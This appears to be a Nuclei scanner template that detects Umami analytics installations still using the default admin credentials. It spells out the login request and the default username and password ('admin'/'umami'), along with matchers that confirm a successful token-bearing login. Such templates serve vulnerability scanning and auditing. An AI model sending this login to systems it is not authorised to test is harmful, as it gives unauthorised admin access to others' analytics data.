id: umami-default-login

info:
  name: Umami Default Login
  author: barthy.koeln
  severity: high
  description: |
    Umami default admin credentials were discovered.
  reference:
    - https://umami.is/docs/login
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    max-request: 1
  tags: umami,default-login,vuln

http:
  - raw:
      - |
        POST /api/auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=utf-8

        {"username":"{{username}}","password":"{{password}}"}

    attack: pitchfork
    payloads:
      username:
        - admin
      password:
        - umami

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"token":'
          - '"username":'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 490a0046304402207d0c52b911cd9e676a1a5e898aa478852d8bd8598d73a76d60ef98819ad0722d0220782415af7e118200ea4e7282b9f9c53125ec0e27f0cef8b2a4bb06c07c316468:922c64590222798bb761d5b6d8e72950